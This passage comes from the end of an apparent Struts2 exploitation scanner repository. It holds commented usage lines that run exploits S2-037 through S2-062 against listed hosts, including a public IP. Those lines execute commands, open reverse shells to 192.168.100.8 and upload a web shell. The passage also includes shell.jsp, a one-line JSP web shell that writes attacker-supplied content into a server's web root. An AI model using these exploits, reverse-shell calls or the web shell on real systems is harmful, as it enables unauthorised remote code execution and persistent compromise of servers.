S2_037("http://192.168.100.8:8080/orders/3/") 2166 | # s.check() 2167 | # print(s.exec_cmd('ls -la')) 2168 | # print(s.get_path()) 2169 | # s.reverse_shell('192.168.100.8', '8888') 2170 | 2171 | # s = S2_045("https://210.76.69.234/index.action") 2172 | # print(s.check()) 2173 | # print(s.get_path()) 2174 | # print(s.exec_cmd('ls -la')) 2175 | # s.reverse_shell('192.168.100.8', '8888') 2176 | # print(s.upload_shell('/usr/local/tomcat/webapps/ROOT/shell.jsp', 'shell.jsp')) 2177 | 2178 | # s = S2_046("https://210.76.69.234/index.action") 2179 | # print(s.check()) 2180 | # print(s.get_path()) 2181 | # print(s.exec_cmd('ls -la')) 2182 | # s.reverse_shell('192.168.100.8', '8888') 2183 | # print(s.upload_shell('/usr/local/tomcat/webapps/ROOT/shell.jsp', 'shell.jsp')) 2184 | 2185 | # s = S2_052('http://192.168.100.8/orders/3/edit') 2186 | # s.reverse_shell('192.168.100.8', '8888') 2187 | 2188 | # s = S2_048("http://192.168.100.8/integration/saveGangster.action", data='name={exp}&age=123&__checkbox_bustedBefore=true&description=123') 2189 | # s.check() 2190 | # print(s.exec_cmd('ls -la')) 2191 | # s.reverse_shell('192.168.100.8', '8888') 2192 | 2193 | # s = S2_048("http://192.168.100.8/integration/saveGangster.action", data='name={exp}&age=123&__checkbox_bustedBefore=true&description=123') 2194 | # s.check() 2195 | # print(s.exec_cmd('ls -la')) 2196 | # s.reverse_shell('192.168.100.8', '8888') 2197 | 2198 | # s = S2_053("http://192.168.100.8", data='name={exp}') 2199 | # s = S2_053("http://192.168.18.1:808/S2-001/login.action") 2200 | # print(s.check()) 2201 | 2202 | # print(s.exec_cmd('echo 123')) 2203 | # s.reverse_shell('192.168.100.8', '8888') 2204 | 2205 | # s = S2_devMode("http://192.168.100.8/orders") 2206 | # print(s.get_path()) 2207 | # print(s.exec_cmd('ls -la')) 2208 | # s.reverse_shell('192.168.100.8', '8888') 2209 | 2210 | # s = S2_057("http://192.168.18.1:808/S2-057/struts2-showcase/") 2211 | # print(s.check()) 2212 | # print(s.exec_cmd("whoami")) 2213 | # s.reverse_shell("192.168.100.8", 9999) 2214 | # s = S2_061("http://192.168.18.136:8080/index.action") 2215 | # print(s.check()) 2216 | # print(s.exec_cmd("whoami")) 2217 | # s.reverse_shell("192.168.100.8", 9999) 2218 | # s = S2_062("http://192.168.18.136:8080/index.action") 2219 | # print(s.check()) 2220 | # print(s.exec_cmd("whoami")) 2221 | -------------------------------------------------------------------------------- /Struts2无59模块.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vancomycin-g/Struts2Scan/32be533a006586f3d699a21bbda67b1a5c82ed21/Struts2无59模块.jar -------------------------------------------------------------------------------- /shell.jsp: -------------------------------------------------------------------------------- 1 | <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> -------------------------------------------------------------------------------- /struts.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vancomycin-g/Struts2Scan/32be533a006586f3d699a21bbda67b1a5c82ed21/struts.bat --------------------------------------------------------------------------------